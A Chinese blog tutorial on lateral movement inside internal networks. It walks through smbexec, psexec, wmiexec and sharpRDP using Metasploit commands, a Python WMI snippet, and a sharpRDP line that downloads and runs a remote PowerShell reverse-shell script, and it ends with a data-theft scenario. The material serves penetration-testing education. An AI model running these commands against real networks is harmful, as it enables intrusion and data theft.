内网横向移动：smbexec、psexec、wmiexec、sharpRDP 深度解析

阿贾克斯的黎明

于 2025-03-03 20:19:08 发布

阅读量1.1k

点赞数 17

分类专栏：网络安全文章标签：网络安全

本文链接：https://blog.csdn.net/m0_57836225/article/details/145998357

版权

网络安全专栏收录该内容

786 篇文章

订阅专栏

内网横向移动：smbexec、psexec、wmiexec、sharpRDP 深度解析

在渗透测试和内网安全领域，内网横向移动是获取更高级权限、扩大攻击范围的关键环节。本文将围绕 smbexec、psexec、wmiexec、sharpRDP 这几种常用的内网横向移动工具展开，深入探讨它们的原理、使用方法，并结合实际代码示例进行全面解析。

一、内网横向移动概述

内网横向移动旨在利用已获取的权限，在内部网络中从一台主机移动到另一台主机，以获取更多资源和权限。这一过程通常基于已有的漏洞利用、账号密码获取等操作，借助各种工具和技术实现。其重要性在于突破初始入侵点的限制，进一步深入目标网络，挖掘敏感信息、控制更多主机，从而对整个内网安全构成严重威胁。

二、常用工具解析

（一）smbexec

smbexec 利用 SMB 协议漏洞在远程主机上执行命令。SMB 协议用于网络文件共享和服务通信，当目标主机存在相关漏洞且攻击者获取了有效的账号密码时，就可以通过 smbexec 向目标主机发送特制的请求，在远程主机上执行指定命令。

在 Metasploit（MSF）框架中，有集成的 smbexec 模块，使用方法如下：

use exploit/windows/smb/smbexec
set RHOSTS <目标主机IP>
set SMBUser <用户名>
set SMBPass <密码>
set PAYLOAD <有效载荷，如windows/meterpreter/reverse_tcp>
set LHOST <本地监听IP>
exploit

这段代码首先选择了 smbexec 模块，然后设置目标主机 IP、用户名、密码、有效载荷以及本地监听 IP，最后执行 exploit 命令发起攻击。成功后，攻击者可以获取目标主机的控制权。

（二）psexec

psexec 是一款强大的远程执行工具，它通过在远程主机上创建服务，将可执行文件复制到远程主机并执行，从而实现命令执行和交互会话获取。在 MSF 中也有集成的 psexec 模块，使用方式与 smbexec 类似：

use exploit/windows/smb/psexec
set RHOSTS <目标主机IP>
set SMBUser <用户名>
set SMBPass <密码>
set PAYLOAD <有效载荷，如windows/meterpreter/reverse_tcp>
set LHOST <本地监听IP>
exploit

此外，也可以通过命令行工具进行 psexec 操作，例如：

psexec \\目标主机IP -u <用户名> -p <密码> "命令"

这里通过指定目标主机 IP、用户名、密码以及要执行的命令来实现远程执行。

（三）wmiexec

wmiexec 利用 Windows Management Instrumentation（WMI）来执行命令。WMI 是 Windows 系统提供的管理工具，允许管理员远程管理和查询系统信息。wmiexec 通过向目标主机的 WMI 服务发送请求，在远程主机上执行命令并返回结果。

使用 Python 编写的 wmiexec 工具示例代码如下：

import wmi
c = wmi.WMI(computer="<目标主机IP>", user="<用户名>", password="<密码>")
process_id, return_value = c.Win32_Process.Create(CommandLine="命令")

这段代码使用wmi库连接到目标主机，然后调用Win32_Process.Create方法创建一个新进程来执行指定命令。

（四）sharpRDP

sharpRDP 是利用远程桌面协议（RDP）的控制台应用程序实现横向移动的工具。它能够对横向目标执行经过身份验证的命令控制。使用时需要提供目标主机名、执行的命令以及账号密码等信息。

sharpRDP 的使用示例：

sharpRDP.exe -computerName <目标主机名> -command "命令" -user <用户名> -password <密码>

如果想要使用更复杂的命令，如反弹 Shell，可以这样操作：

sharpRDP.exe -computerName <目标主机名> -command "powershell -c \"IEX (New-Object Net.WebClient).DownloadString('http://<本地服务器IP>/shell.ps1')\"" -user <用户名> -password <密码>

这里通过powershell命令从本地服务器下载并执行一个 PowerShell 脚本，实现反弹 Shell 的功能。

三、实际应用场景与案例分析

在实际内网渗透测试中，这些工具常常结合使用。例如，先通过信息收集获取目标网络中开放 SMB 服务且存在漏洞的主机，使用 smbexec 尝试获取初始权限。如果获取到普通用户权限，可以利用 psexec 或 wmiexec 进一步提升权限，获取系统权限。而 sharpRDP 则可以在获取账号密码后，通过 RDP 协议进行横向移动，执行命令或获取远程桌面会话。

假设在一个企业内网环境中，攻击者发现一台主机存在 SMB 漏洞，通过 smbexec 获取了普通用户权限。然后利用该用户权限，通过 psexec 执行命令，发现另一台主机上运行着敏感服务。此时，攻击者使用 sharpRDP，以获取的账号密码连接到该主机，执行命令窃取敏感数据，成功实现内网横向移动和数据窃取。